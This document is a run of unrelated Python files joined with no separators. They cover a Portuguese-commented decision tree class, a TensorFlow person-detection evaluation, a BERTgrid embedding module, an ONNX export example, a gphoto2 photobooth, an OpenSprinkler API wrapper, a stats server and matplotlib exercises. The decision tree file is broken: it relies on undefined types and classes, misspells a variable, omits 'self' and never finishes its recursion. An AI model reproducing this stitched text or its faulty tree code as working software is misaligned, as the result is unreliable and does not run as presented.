#####
# Filename: DT_DecisionTree.py
# Description: Contém a classe para arvore de decisão
###

# import DT_DataStructure
import logging

class DecisionTree:
    """Decision Tree Class"""
    def __init__(self, data_trainning, column_label_class: str, target_class: str):
        from pandas import DataFrame

        if not isinstance(data_trainning, DataFrame):
            raise TypeError('Expected value should descend from pandas.core.frame.DataFrame')
        self.__data_trainning = data_trainning.iloc[:,0:]

        self.__total_instances = self.__data_trainning.shape[0]

        #if (id_column_class >= data_trainning.shape[1]):
        #    raise TypeError('Expected value integer in limit for data frame')
        #self.__id_column_class = id_column_class

        self.__entropy_global = 0.0

        self.__root_tree = None

        self.__logger = True

        self.__target_class = target_class

        self.__column_label_class = column_label_class

        self.__columns = None

        self.__id_classifier = 'ClassifierTree'

        # self.__type_discret = (str)

        # self.__type_continuous = ('int', 'float')

        self.__method_continuos_supported = ('media', 'mediana', 'quantil', 'moda')

        self.__method_continuos_selected = 'media'

        self.__method_continuos_args = {'quantil': 0.5}

    def __entropy(self, class_positive: int, class_negative: int) -> float:
        from math import log2
        """
            Esta função calcula a entropia total de um conjunto de dados, observe
                que o valor da entropia varia em função da precisão de ponto flutuante de python
            Input:  class_positive = numero de instâncias com classe positiva
                    class_negative = número de instâncias com classe negativa
            Output: (float) que representa a entropia total do conjunto
        """
        if (class_positive < 0) or (class_negative < 0):
            return -1
        if (class_positive == 0) or (class_negative == 0):
            return 0
        total_instance = class_positive + class_negative
        p = (class_positive/total_instance) * log2(class_positive/total_instance)
        q = (class_negative/total_instance) * log2(class_negative/total_instance)
        r__entropy = (-1 * p) - q

        msg = "[Entropy for calculate]:\tClass positive = {}\tClass negative = {}\tTotal instances = {}\tEntropy = {}"
        msg = msg.format(class_positive, class_negative, (class_positive+class_negative), r__entropy)
        logging.debug(msg)

        return r__entropy

    def __prepareCalcEntropy(self, ref_trainning: list) -> float:
        """
             Esta função lida com os dados do subconjunto para o cálculo da entropia, desta maneira
                 de um lado temos a função que calcula a entropia e de outro uma função que prepara
                 os dados para este cálculo
            Input:  ref_trainning = uma lista com os nomes das colunas (subconjunto) para o cálculo
                        da entropia
            Output: (float) que representa a entropia total do conjunto
        """
        if (not self.__column_label_class in ref_trainning):
            ref_trainning.append(self.__column_label_class)

        msg = "[Prepare calc entropy]:\tColumn Label Trainning = {}"
        msg = msg.format(ref_trainning)
        logging.debug(msg)

        df_selected = self.__data_trainning.loc[:,ref_trainning]
        total_intances = self.__data_trainning[self.__column_label_class].count()
        mask = self.__column_label_class + ' == ' + '"' + self.__target_class + '"'
        class_positive = df_selected.query(mask)[self.__column_label_class].count()
        class_negative = total_intances - class_positive
        r__prepare_calc_entropy = self.__entropy(class_positive, class_negative)

        return r__prepare_calc_entropy

    def __gaugeStopRecursion(ref_trainning: list) -> bool:
        """
            Esta função determina quando a recursividade da arvore deve parar para a expansão
                Neste caso termina caso seja o úlitmo nó da lista
            Input: Dados de treinamento
            Output: (Bool) True = Stop, False = Continue
        """

        msg = "[Gauge Stop Recursion]:\t Label Trainning = {}"
        msg = msg.format(ref_trainning)
        logging.debug(msg)

        if len(ref_trainning) == 1:
            return True

        return False

    def __gainInformation(self, frequencies: Frequency, total_instances: int) -> float:
        """
            Esta função calcula o ganho de informação de um conjunto de dados, observe
                que o valor do ganho de informação varia em função da precisão de ponto
                flutuante de python
            Input:  class_positive = numero de instâncias com classe positiva
                    class_negative = número de instâncias com classe negativa
                    frequencies = uma lista de dicionário que representa os dados do conjunto
            Output: (float) que representa o ganho de informação total do conjunto
        """

        msg = '[Gain Information]:\tFrequencies = {}\t Total instances = {}'
        msg = msg.format(frequencies, total_instances)
        logging.debug(msg)

        gain_local = 0

        for frequency in frequencies:
            frequency_entropy = self.__entropy(frequency['class_positive'], frequency['class_negative'])
            frequency_relative = frequency['class_positive'] + frequency['class_negative']
            gain_local += (frequency_relative / total_instances) * frequency_entropy

        r__gainInformation =  self.__entropy_global - gain_local

        msg = "[Gain Information]\tEntropy Global = {}\tEntropy Local = {}\tGain Information = {}"
        msg = msg.format(self.__entropy_global, gain_local, r__gainInformation)
        logging.debug(msg)

        return r__gainInformation

    def __get_point_cut(self, df_column) -> float:
        """
            Esta função calcula o ponto de divisão em uma série de acordo com as pŕedefinições da classe
            Input:  df_column = Coluna do dataframe
            Output: (float) que representa o valor do ponto de divisão
        """
        r__point_cut = 0
        if (self.__method_continuos_selected == 'media'):
            r__point_cut = df_column.mean()
        elif (self.__method_continuos_selected == 'mediana'):
            r__point_cut = df_column.median()
        elif (self.__method_continuos_selected == 'quantil'):
            r__point_cutter = df_column.quantile(q=self.__method_continuos_args['quantil'])
        elif (self.__method_continuos_selected == 'moda'):
            r__point_cut = df_column.mode()
        else:
            r__point_cut = df_column.mean()

        return r__point_cut;

    def __mountFrequencySeriesDiscrete(self, df_work, column_name: str) -> list:
        """
            Esta função monta a estrutura de dados de uma série discreta para ser usado no cálculo
                de ganho de informação
            Input:  df_work = DataFrame formado pela coluna de dados e pela coluna de classes
                    column_name = nome da coluna de dados do dataframe
            Output: (list) uma lista de dicionário com a estrutura (value, class_positive, class_negative)
        """
        column_frequency = []
        partitions = list(df_work[column_name].unique())
        for partition in partitions:
            mask_up = column_name + '==' + '"' + partition + '"'
            df_up = df_work.query(mask_up)
            total_instances = df_up[column_name].count()
            mask_target = self.__column_label_class + ' == ' + '"' + self.__target_class + '"'
            class_positive = df_up.query(mask_target)[column_name].count()
            class_negative = total_instances - class_positive
            column_frequency.append({'value': partition,
                                     'class_positive': class_positive,
                                     'class_negative': class_negative
                                    })
        return column_frequency

    def __mountFrequencySeriesContinuos(self, df_work, column_name: str) -> list:
        """
            Esta função monta a estrutura de dados de uma série continua para ser usada no cálculo
                de ganho de informação
            Input:  df_work = DataFrame formado pela coluna de dados e pela coluna de classes
                    column_name = nome da coluna de dados do dataframe
            Output: (list) uma lista de dicionário com a estrutura (value, class_positive, class_negative)
        """
        point_cut = self.__get_point_cut(df_work[column_name])
        column_frequency = []
        for unique_partition in ['<', '>=']:
            mask_up = column_name + unique_partition + str(point_cut)
            df_up = df_work.query(mask_up)
            total_instances = df_up[column_name].count()
            mask_target = self.__column_label_class + ' == ' + '"' + self.__target_class + '"'
            class_positive = df_up.query(mask_target)[column_name].count()
            class_negative = total_instances - class_positive
            column_frequency.append({'value': unique_partition,
                                     'class_positive': class_positive,
                                     'class_negative': class_negative
                                    })
        return column_frequency

    # Deveria haver um parametro column_predecessor para que os dados fossem
    # filtrados com base no nó anterior cujos valores determinam a classe
    def splitDecisionTree(self, columns_trainning: DataIdColumn) -> str:
        r_split = {}

        msg = "[Split Decision Tree]\tColumn Trainning = {}"
        msg = msg.format(columns_trainning)
        logging.debug(msg)

        for column in columns_trainning:

            msg = "[Split Decision Tree]\tColumn = {}"
            msg = msg.format(column)
            logging.debug(msg)

            type_column = type(self.__data_trainning[column][0])
            df_work = self.__data_trainning.loc[:,[self.__column_label_class, column]]
            total_instances_work = df_work[column].count()
            column_frequency = []
            if (type_column != str):
                column_frequency = self.__mountFrequencySeriesContinuos(df_work, column)
            else:
                column_frequency = self.__mountFrequencySeriesDiscrete(df_work, column)
            r_split[column] = self.__gainInformation(column_frequency, total_instances_work)

        msg = "[Split Decision Tree]\tGain Information = {}"
        msg = msg.format(r_split)
        logging.debug(msg)

        point_division_label = max(r_split, key=r_split.get)

        return point_division_label

    # @ TODO: Reve a criação do nó para o caso de parada de recursão
    def __gender(self, ref_trainning: list) -> Any:
        """
            Esta função gera recursivamente a arvore de decisão
            Input: Dados de treinamento
            Output: (Struct) a arvore de decisão
        """
        if (self.__gaugeStopRecursion(ref_trainning)):
            r__label = ref_trainning[0]
            r__classification = self.identifyClass(ref_trainning)
            r__test_condition = self.trunkCondition(ref_trainning)
            r__leaf_end = StructNode(label = r__label,
                                     test_condition = r__test_condition,
                                     leaf = True,
                                     classification = r__classification)
            return r__leaf_end
        # else
        r__attribPointDivision = self.__splitDecisionTree(ref_trainning)

    def build(self) -> None:
        """ Esta função inicia o processo para criar a arvore de decisão"""
        if self.__logger:
            logging.basicConfig(filename=self.__getNameLog(),
                                level= logging.DEBUG,
                                format='%(asctime)s - %(levelname)s - %(message)s')

        column_df = list(self.__data_trainning.columns)
        self.__columns = column_df
        self.__entropy_global = self.__prepareCalcEntropy(column_df)

        column_df.pop(self.__id_column_class)
        self.__root_tree = self.__gender(column_df)

    def setProperties(propertie: str, value: Any) -> None:
        pass

    def getProperties(propertie: str) -> Any:
        pass

    def __getNameLog(self) -> str:
        import time as lib_tm
        coded_time = str(lib_tm.localtime().tm_hour) + '_' + str(lib_tm.localtime().tm_min) + '_' + str(lib_tm.localtime().tm_sec)
        filename = self.__id_classifier + coded_time + '.log'
        return filename


import numpy as np
import os

import six.moves.urllib as urllib
import sys
import tarfile
import tensorflow as tf
import zipfile
import cv2
from lxml import etree

from collections import defaultdict
from io import StringIO
from matplotlib import pyplot as plt
from PIL import Image

from utils import label_map_util
from time import time

#Seleccionamos el modelo
MODEL_NAME = 'ssd_mobilenet_v1_coco'

#MODEL_NAME = 'faster_rcnn_inception_resnet_v2_atrous_coco_2017_11_08'

# Path to frozen detection graph. This is the actual model that is used for the object detection.
#PATH_TO_CKPT = MODEL_NAME + '/frozen_inference_graph.pb'
PATH_TO_CKPT = 'inference/four/frozen_inference_graph.pb'

# List of the strings that is used to add correct label for each box.
#PATH_TO_LABELS = os.path.join('data', 'mscoco_label_map.pbtxt')
PATH_TO_LABELS = os.path.join('training', 'label.pbtxt')

NUM_CLASSES = 90

#obtengo modelo
detection_graph = tf.Graph()
with detection_graph.as_default():
  od_graph_def = tf.GraphDef()
  with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:
    serialized_graph = fid.read()
    od_graph_def.ParseFromString(serialized_graph)
    tf.import_graph_def(od_graph_def, name='')

#obtengo labels
label_map = label_map_util.load_labelmap(PATH_TO_LABELS)
#categorias
categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True)
category_index = label_map_util.create_category_index(categories)

def list_files_ext(directory, extension):
    return list(f for f in os.listdir(directory) if f.endswith('.' + extension))
def load_image_into_numpy_array(image):
  (im_width, im_height) = image.size
  return np.array(image.getdata()).reshape(
      (im_height, im_width, 3)).astype(np.uint8)

def obtenerGroundTruth(im_name):
    box=np.zeros(4)
  #  nombre=im_name.split("/")
  #  nombre=nombre[len(nombre)-1]
    #ann=etree.parse('/home/marcelo/rcnn/py-faster-rcnn/data/citic/Annotations/'+nombre[:-4]+'.xml')
    ann=etree.parse(im_name.replace(".jpg",".xml"))
    bbox=ann.find("object/bndbox")
    box[0]= float(bbox.find('xmin').text)
    box[1] = float(bbox.find('ymin').text)
    box[2] = float(bbox.find('xmax').text)
    box[3] = float(bbox.find('ymax').text)
    return box

def obtenerIoU(boxA, boxB):
	# determine the (x, y)-coordinates of the intersection rectangle
	xA = max(boxA[0], boxB[0])
	yA = max(boxA[1], boxB[1])
	xB = min(boxA[2], boxB[2])
	yB = min(boxA[3], boxB[3])

	# compute the area of intersection rectangle
	interArea = (xB - xA + 1) * (yB - yA + 1)

	# compute the area of both the prediction and ground-truth
	# rectangles
	boxAArea = (boxA[2] - boxA[0] + 1) * (boxA[3] - boxA[1] + 1)
	boxBArea = (boxB[2] - boxB[0] + 1) * (boxB[3] - boxB[1] + 1)

	# compute the intersection over union by taking the intersection
	# area and dividing it by the sum of prediction + ground-truth
	# areas - the interesection area
	iou = interArea / float(boxAArea + boxBArea - interArea)

	# return the intersection over union value
	return iou

#import glob
#im_names= [img for img in glob.glob("/home/marcelo/Escritorio/Bases_Datos/DataBase/conjSLRatCrop/negativos1/*jpg")]
id_img= list_files_ext("/home/czumelzu/images/test","jpg")
im_names=[]
for i in id_img:
    im_names.append(os.path.join("/home/czumelzu/images/test",i))

    # Size, in inches, of the output images.
IMAGE_SIZE = (12, 8)
font = cv2.FONT_HERSHEY_SIMPLEX

tp=0
tn=0
fp=0
fn=0
sumTime=0
with detection_graph.as_default():
  with tf.Session(graph=detection_graph) as sess:
    # Definite input and output Tensors for detection_graph
    image_tensor = detection_graph.get_tensor_by_name('image_tensor:0')
    # Each box represents a part of the image where a particular object was detected.
    detection_boxes = detection_graph.get_tensor_by_name('detection_boxes:0')
    # Each score represent how level of confidence for each of the objects.
    # Score is shown on the result image, together with the class label.
    detection_scores = detection_graph.get_tensor_by_name('detection_scores:0')
    detection_classes = detection_graph.get_tensor_by_name('detection_classes:0')
    num_detections = detection_graph.get_tensor_by_name('num_detections:0')
    sumTime=0

    for i,im_file in enumerate(im_names):
      print(i)
      image_np=cv2.imread(im_file)
      image_np_expanded = np.expand_dims(image_np, axis=0)
      # Actual detection.
      initial_time=time()

      (boxes, scores, classes, num) = sess.run([detection_boxes, detection_scores, detection_classes, num_detections],feed_dict={image_tensor: image_np_expanded})
      final_time=time()
      ET=final_time-initial_time
      sumTime=sumTime+ET

      person=[]
      for i,pe in enumerate(classes[0]):
              if(pe==1 and scores[0][i]>0.7):
                  person.append(i)

      IoU=0
      if 'positivos' in im_file:
          if(len(person)>0):
              bbox=np.zeros(4)
              bbox[0]=int(boxes[0][person[0]][1]*227)
              bbox[1]=int(boxes[0][person[0]][0]*227)
              bbox[2]=int(boxes[0][person[0]][3]*227)
              bbox[3]=int(boxes[0][person[0]][2]*227)
              groundTruth=obtenerGroundTruth(im_file)
              IoU=obtenerIoU(bbox,groundTruth)
          if(IoU>=0.75):
                        tp+=1
          else:
                        fn+=1
      else:
          if(len(person)>0):
                        fp+=1
          else:
                        tn+=1

acc=(tp+tn)*1.0/(tp+tn+fp+fn)
#recall
sens= tp*1.0/(tp+fn)
esp= tn*1.0/(tn+fp)
#presicion
if tp+fp == 0:
    pres=0
else:
    pres= tp*1.0/(tp+fp);

print("accuracy:"+str(acc))
print("sensibilidad"+str(sens))
print("especifidad"+str(esp))
print("precision:"+str(pres))
avgTime=sumTime/(len(im_names)*1.0)
print('Average time per image:',avgTime)


import torch
from torch import nn
import numpy as np
from transformers import AutoTokenizer
from mmcv.runner import load_checkpoint

from davarocr.davar_common.models.builder import EMBEDDING
from davarocr.davar_common.utils import get_root_logger

@EMBEDDING.register_module()
class BERTgridEmbedding(nn.Module):
    """Generate bertgrid embedding using tokenizers from pretrained language models.
    """

    def __init__(self,
                 auto_model_path,
                 embedding_dim=64,
                 batch_max_num=128):
        """
        Args：
            auto_model_path (str): path to pretrained language model (e.g. BERT)
            embedding_dim (int): dim of input features
            batch_max_num (int): the max num of texts in a batch due to memory limit, default 128.
    """
        super().__init__()

        assert auto_model_path is not None
        self.batch_max_num = batch_max_num
        self.embedding_dim = embedding_dim
        self.autotokenizer = AutoTokenizer.from_pretrained(auto_model_path)
        self.embedding = nn.Embedding(self.autotokenizer.vocab_size, embedding_dim)

    def init_weights(self, pretrained):
        """ Weight initialization

        Args:
            pretrained (str, optional): Path to pre-trained weights. Defaults to None.
        """
        if isinstance(pretrained, str):
            logger = get_root_logger()
            logger.info("BERTgridEmbedding:")
            load_checkpoint(self, pretrained, strict=False, logger=logger)
        elif pretrained is None:
            return
        else:
            raise TypeError('pretrained must be a str or None')

    def forward(self,
                img,
                gt_bboxes,
                gt_texts):
        """ Forward computation

        Args:
            img (Tensor): in shape of [B x C x H x W].
            gt_bboxes (list(Tensor)): bboxes for each text line in each image.
            gt_texts (list(list)): text contents for each image.
        Returns:
            Tensor: generated grid embedding maps in shape of [B x D x H x W], where D is the embedding_dim.
        """
        # restore feature map
        device = img.device
        batch_b, _, batch_h, batch_w = img.size()

        chargrid_map = torch.zeros((batch_b, 1, batch_h, batch_w), dtype=torch.int64).to(device)

        for iter_b in range(batch_b):
            per_img_texts = gt_texts[iter_b]
            if per_img_texts:
                gt_bboxes_arr = gt_bboxes[iter_b].cpu().numpy()

                ids = self.autotokenizer(per_img_texts)['input_ids']
                short_length_w = min(len(ids), gt_bboxes_arr.shape[0])

                for iter_b_l in range(short_length_w):
                    per_line_ids = ids[iter_b_l]
                    w_start, h_start, w_end, h_end = gt_bboxes_arr[iter_b_l].round().astype(np.int).tolist()
                    short_length_c = max(len(per_line_ids)-2, 0)

                    if short_length_c > 0:
                        span = (w_end - w_start) / short_length_c
                        for token_idx in range(1, 1+short_length_c):
                            per_id = per_line_ids[token_idx]
                            chargrid_map[iter_b, 0, h_start:h_end,
                            int(w_start + (token_idx - 1) * span): int(w_start + token_idx * span)] = per_id

        chargrid_map = self.embedding(chargrid_map).squeeze(1).permute(0, 3, 1, 2).contiguous()
        return chargrid_map


import onnx
import torch
from onnxruntime.training.experimental import export_gradient_graph

from optim.adam import AdamOnnxGraphBuilder

# Let's use a simple example.
class MyModel(torch.nn.Module):
    def __init__(self,
                 input_size: int,
                 hidden_size: int,
                 num_classes: int):
        super(MyModel, self).__init__()

        self.fc1 = torch.nn.Linear(input_size, hidden_size)
        self.relu = torch.nn.ReLU()
        self.fc2 = torch.nn.Linear(hidden_size, num_classes)

    def forward(self, x: torch.Tensor):
        out = self.fc1(x)
        out = self.relu(out)
        out = self.fc2(out)
        out = out.sigmoid()
        return out

# We need a custom loss function to load the graph in an InferenceSession in ONNX Runtime Web.
# You can still make the gradient graph with torch.nn.CrossEntropyLoss() and this test will pass.

def binary_cross_entropy_loss(output, target):
    return -torch.sum(target * torch.log2(output[:, 0]) +
                      (1-target) * torch.log2(output[:, 1]))

loss_fn = binary_cross_entropy_loss

input_size = 10
num_classes=2
model = MyModel(input_size=input_size, hidden_size=5, num_classes=num_classes)

# We need a place to save the ONNX graph.
gradient_graph_path = 'gradient_graph.onnx'

# We need example input for the ONNX model.
# It doesn't matter what values are filled in the but the dimensions need to be correct.
batch_size = 32
example_input = torch.randn(
    batch_size, input_size, requires_grad=True)
example_labels = torch.randint(0, num_classes, (batch_size,))
# Make sure that we understand how the labels should look.
labels = model(example_input).argmax(dim=1)
assert labels.shape == example_labels.shape

print(f"Writing gradient graph to \"{gradient_graph_path}\".")
export_gradient_graph(
    model, loss_fn, example_input, example_labels, gradient_graph_path, opset_version=15)
print(f"Done writing gradient graph to \"{gradient_graph_path}\".")

print("Checking gradient graph...")
onnx_model = onnx.load(gradient_graph_path)
onnx.checker.check_model(onnx_model)
print("✅ Gradient graph should be okay.")

print("Creating Adam optimizer...")
optimizer = AdamOnnxGraphBuilder(model.named_parameters())
onnx_optimizer = optimizer.export()
optimizer_graph_path = 'optimizer_graph.onnx'
print(f"Writing optimizer graph to \"{optimizer_graph_path}\".")
onnx.save(onnx_optimizer, optimizer_graph_path)

print("Checking optimizer graph...")
onnx_optimizer = onnx.load(optimizer_graph_path)
onnx.checker.check_model(onnx_optimizer)
print("✅ Optimizer graph should be okay.")

print("✅ Done.")


from time import sleep
from datetime import datetime
from multiprocessing import Process
from sh import gphoto2 as gp

from collage import collage
from countDown import count_down
from displayPushToStart import display_push_to_start
from liveView import live_view
from sendToPrinter import send_to_printer

import cv2
import pygame, sys
import signal, os, subprocess
import time

sys.path.append("/home/jhdinh/Desktop/gphoto/helpers")
shot_date = datetime.now().strftime("%Y-%m-%d")
shot_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
picID = "PiPhotos"
folderName = shot_date + picID
saveLocation = "/home/jhdinh/Desktop/gphoto/images/" + folderName
captureAndDownload = ["--filename", saveLocation + '/' + shot_time, "--capture-image-and-download"]
BG = pygame.image.load("assets/PushToStart.png")
#SCREEN = pygame.display.set_mode((0, 0), pygame.FULLSCREEN)

def reInit():
    pygame.init()
    SCREEN = pygame.display.set_mode((0, 0), pygame.FULLSCREEN)
    pygame.display.set_caption("Menu")
    return SCREEN

def get_font(size): # Returns Press-Start-2P in the desired size
    return pygame.font.Font("assets/font.ttf", size)

def startPhotobooth():
    while True:
        PLAY_MOUSE_POS = pygame.mouse.get_pos()

        SCREEN.fill((0,0,0))

        PLAY_TEXT = get_font(45).render("This is the PLAY screen.", True, (255,255,255))
        PLAY_RECT = PLAY_TEXT.get_rect(center=(640, 260))
        SCREEN.blit(PLAY_TEXT, PLAY_RECT)

        PLAY_BACK = Button(image=None, pos=(640, 460),
                            text_input="BACK", font=get_font(75), base_color=(255,255,255), hovering_color=(19,148,79))

        PLAY_BACK.changeColor(PLAY_MOUSE_POS)
        PLAY_BACK.update(SCREEN)

        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                pygame.quit()
                sys.exit()
            if event.type == pygame.MOUSEBUTTONDOWN:
                if PLAY_BACK.checkForInput(PLAY_MOUSE_POS):
                    main_menu()

        pygame.display.update()

# kill gphoto2 process
# reconnects camera to be run from script
def killgphoto2Process():
	p = subprocess.Popen(['ps', '-A'],stdout=subprocess.PIPE)
	out, err = p.communicate()

	# search for process ID and kill it
	for line in out.splitlines():
		if b'gvfsd-gphoto2' in line:
			pid = int(line.split(None, 1)[0])
			os.kill(pid, signal.SIGKILL)

def createSaveFolder():
	try:
		os.mkdir(saveLocation)
	except:
		print("Failed to create new directory")

def main_menu():
    killgphoto2Process()
    createSaveFolder()
    SCREEN = reInit()
    while True:
        SCREEN.blit(BG, (0, 0))

        for event in pygame.event.get():
            if event.type == pygame.KEYDOWN:
                if event.key == pygame.K_ESCAPE:
                    pygame.quit()
                    sys.exit()
                # TODO: need to find a way to terminate live view after pictures are taken
                # Commented process lines are for testing purposes
                #p = Process(target=live_view)
                #p.start()
                #time.sleep(2)
                pygame.display.quit()
                # TODO: Need to add image in between pictures being taken
                for i in range(3):
                    shot_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
                    captureAndDownload = ["--filename", saveLocation + '/' + shot_time, "--capture-image-and-download"]
                    p = Process(target=live_view)
                    p.start()
                    time.sleep(2)
                    for j in range(3,0,-1):
                        count_down(j)
                    p.terminate()
                    gp(captureAndDownload)
                #p.terminate()
                collage_filepath = collage(saveLocation)
                send_to_printer(collage_filepath)
                #TODO: put in screen that says image is printing
                SCREEN = reInit()
        pygame.display.update()

main_menu()


"""Program module handling /program/ API calls."""

import json

from pyopensprinkler.const import (
    SCHEDULE_START_TIME_FIXED,
    SCHEDULE_START_TIME_REPEATING,
    SCHEDULE_TYPE_INTERVAL_DAY,
    SCHEDULE_TYPE_WEEKDAY,
)

class Program(object):
    """Program class with /program/ API calls."""

    def __init__(self, controller, index):
        """Program class initializer."""
        self._controller = controller
        self._index = index

    def _get_program_data(self):
        return self._controller._state["programs"]["pd"][self._index]

    def _get_variable(self, variable_index):
        """Retrieve variable"""
        return self._get_program_data()[variable_index]

    async def _set_variable(self, variable, value):
        """Set variable"""
        return await self._set_variables({variable: value})

    async def _set_variables(self, params=None):
        if params is None:
            params = {}
        params["pid"] = self._index

        # hacky garbage to make setting the name work
        # NOTE: setting en and name in the same request results in the name parameter being ignored
        v = ""
        if "v" not in params:
            dlist = self._get_program_data().copy()
            if "name" in params:
                dlist.pop(5)
            v = json.dumps(dlist).replace(" ", "")

        if "v" in params:
            name = params["v"].pop(5)
            if "name" not in params:
                params["name"] = name
            v = json.dumps(params.pop("v", None)).replace(" ", "")

        v = v.strip()

        content = await self._controller.request("/cp", params, f"v={v}")
        return content["result"]

    async def _manual_run(self):
        """Run program"""
        params = {"pid": self._index, "uwt": 0}
        content = await self._controller.request("/mp", params)
        return content["result"]

    def _get_data_flag_bits(self):
        return list(
            reversed([int(x) for x in list("{0:08b}".format(self._get_variable(0)))])
        )

    def _bits_to_int(self, bits):
        return int("".join(map(str, list(reversed(bits)))), 2)

    async def enable(self):
        """Enable operation"""
        return await self.set_enabled(True)

    async def disable(self):
        """Disable operation"""
        return await self.set_enabled(False)

    async def set_enabled(self, value):
        if value:
            return await self._set_variable("en", 1)
        else:
            return await self._set_variable("en", 0)

    async def run(self):
        """Run program"""
        return await self._manual_run()

    async def set_name(self, name):
        return await self._set_variable("name", name)

    async def set_use_weather_adjustments(self, value):
        return await self._set_variable("uwt", int(value))

    async def set_odd_even_restriction(self, value):
        dlist = self._get_program_data().copy()
        bits = self._get_data_flag_bits()

        if value < 0 or value > 2:
            raise ValueError("value must be 0-2")

        # none
        if value == 0:
            bits[2] = 0
            bits[3] = 0

        # odd-days
        if value == 1:
            bits[2] = 1
            bits[3] = 0

        # even-days
        if value == 2:
            bits[2] = 0
            bits[3] = 1

        dlist[0] = self._bits_to_int(bits)

        return await self._set_variable("v", dlist)

    async def set_program_schedule_type(self, value):
        dlist = self._get_program_data().copy()
        bits = self._get_data_flag_bits()

        if value != 0 and value != 3:
            raise ValueError("value must be 0 or 3")

        # weekday
        if value == 0:
            bits[4] = 0
            bits[5] = 0

        # interval-day
        if value == 3:
            bits[4] = 1
            bits[5] = 1

        dlist[0] = self._bits_to_int(bits)

        return await self._set_variable("v", dlist)

    async def set_start_time_type(self, value):
        dlist = self._get_program_data().copy()
        bits = self._get_data_flag_bits()

        if value < 0 or value > 1:
            raise ValueError("value must be 0 or 1")

        # repeating
        if value == 0:
            bits[6] = 0

        # fixed-time
        if value == 1:
            bits[6] = 1

        dlist[0] = self._bits_to_int(bits)

        return await self._set_variable("v", dlist)

    async def set_station_duration(self, station_index, duration):
        dlist = self._get_program_data().copy()
        dlist[4][station_index] = duration
        return await self._set_variable("v", dlist)

    async def set_station_durations(self, durations):
        dlist = self._get_program_data().copy()
        dlist[4] = durations
        return await self._set_variable("v", dlist)

    @property
    def name(self):
        """Program name"""
        return self._get_variable(5)

    @property
    def index(self):
        """Program index"""
        return self._index

    @property
    def enabled(self):
        """Retrieve enabled flag"""
        bits = self._get_data_flag_bits()
        return bool(bits[0])

    @property
    def is_running(self):
        for _, station in self._controller.stations.items():
            if (
                station.is_running
                and station.running_program_id > 0
                and station.running_program_id == self.index + 1
            ):
                return True

        return False

    @property
    def use_weather_adjustments(self):
        """Retrieve use weather adjustment flag"""
        bits = self._get_data_flag_bits()
        return bool(bits[1])

    @property
    def odd_even_restriction(self):
        """Retrieve odd/even restriction state"""
        bit2 = bool(self._get_data_flag_bits()[2])
        bit3 = bool(self._get_data_flag_bits()[3])

        value = 0
        if bit2:
            value += 1

        if bit3:
            value += 2

        return value

    @property
    def odd_even_restriction_name(self):
        value = self.odd_even_restriction

        if value == 0 or value == 3:
            return None

        if value == 1:
            return "odd_days"

        if value == 2:
            return "even_days"

    @property
    def program_schedule_type(self):
        """Retrieve program schedule type state"""
        bit4 = bool(self._get_data_flag_bits()[4])
        bit5 = bool(self._get_data_flag_bits()[5])

        value = 0
        if bit4:
            value += 1

        if bit5:
            value += 2

        return value

    @property
    def program_schedule_type_name(self):
        value = self.program_schedule_type

        if value == 0:
            return SCHEDULE_TYPE_WEEKDAY

        if value == 3:
            return SCHEDULE_TYPE_INTERVAL_DAY

        return None

    @property
    def start_time_type(self):
        return self._get_data_flag_bits()[6]

    @property
    def start_time_type_name(self):
        value = self.start_time_type

        if value == 0:
            return SCHEDULE_START_TIME_REPEATING

        if value == 1:
            return SCHEDULE_START_TIME_FIXED


import argparse

import psutil
import requests

from edgesim.utils.server import run_server

class StatsServer(object):
    def get_stats(self):
        return {
            "cpu_load": psutil.cpu_percent(),
            "memory_used": psutil.virtual_memory()._asdict().get("percent", None)
        }

    def get_http_endpoints(self):
        return {
            "stats": self.get_stats,
        }

def register(args):
    url = "http://%s/register" % args.registry_server
    payload = {"ip": args.host, "name": args.name, "location": args.location}
    resp = requests.post(url, json=payload)
    assert resp.json()["status"] == 0

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--registry-server", default="20.0.0.200:8888")
    parser.add_argument("--location", required=True, type=int)
    parser.add_argument("--name", required=True)
    parser.add_argument("--host", required=True)
    parser.add_argument("--port", type=int, default=8888)
    args = parser.parse_args()

    # register
    register(args)

    run_server(args.host, args.port, StatsServer())

if __name__ == '__main__':
    main()


import numpy as np
import numpy
import matplotlib.pyplot as plt

fail = open(r'C:\ldpr\text_num.txt', 'r')
mas1 = []
mas2 = []
for line in fail:
    n = line.find(",")
    mas1.append(line[0:n].strip())
    mas2.append(int(line[n+1:len(line)].strip()))
fail.close()
#print(mas1)
#print(mas2)

fig, ax = plt.subplots()

data = [mas2]

bins_to_be = 11
n, bins, patches = ax.hist(data, bins=bins_to_be,
                               color="brown", edgecolor="black")

res = ""
for i in range(bins_to_be):
    res += format(mas1)

ax.legend([res.strip()])
plt.show()

plt.subplots()
plt.title("y = abs(x**2 + 4*x - 5)")
plt.xlabel("Ось абсцисс")
plt.ylabel("Ось ординат")
plt.grid(axis="x", color="green", alpha=.3, linewidth=5, linestyle=":")
plt.grid(True)

x1 = np.arange(0, 10)
y1 = (2/27) * x1**2 - 3

x2 = np.arange(-10, 1)
y2 = 0.04 * x2**2 - 3

x3 = np.arange(-9, -3)
y3 = (2/9) * ((x3+6)**2)+1

x4 = np.arange(-4, 10)
y4 = -1*(1/12)*((x4-3)**2)+6

x5 = np.arange(5, 8.3)
y5 = (1/9)*((x5-5)**2) +2

x6 = np.arange(5, 8.5)
y6 = (1/8)*((x6-7)**2)+1.5

x7 = np.arange(-13, -8)
y7 = -1*0.75*((x7+11)**2)+6

x8 = np.arange(-15, -12)
y8 = -1*0.5*((x8+13)**2)+3

x9 = np.arange(-15, -9)
y9 = [1] * len(x9)

x10 = np.arange(3, 5)
y10 = [3] * len(x10)

plt.savefig('my.image.png')
plt.plot(x1,y1,x2,y2,x3,y3,x4,y4,x5,y5,x6,y6,x7,y7,x8,y8,x9,y9,x10,y10, '--r', label='парабола')
plt.show()

plt.subplots()
plt.title("Очки")
plt.xlabel("Ось абсцисс")
plt.ylabel("Ось ординат")
plt.grid(axis="x", color="red", alpha=.3, linewidth=6, linestyle=':')
plt.xticks(np.arange(-10, 10, 2))
plt.grid(True)

x1 = np.arange(-9, 0)
y1 = -(1/16)*((x1+5)**2)+2

x2 = np.arange(1, 10)
y2 = -(1/16)*((x2-5)**2) + 2

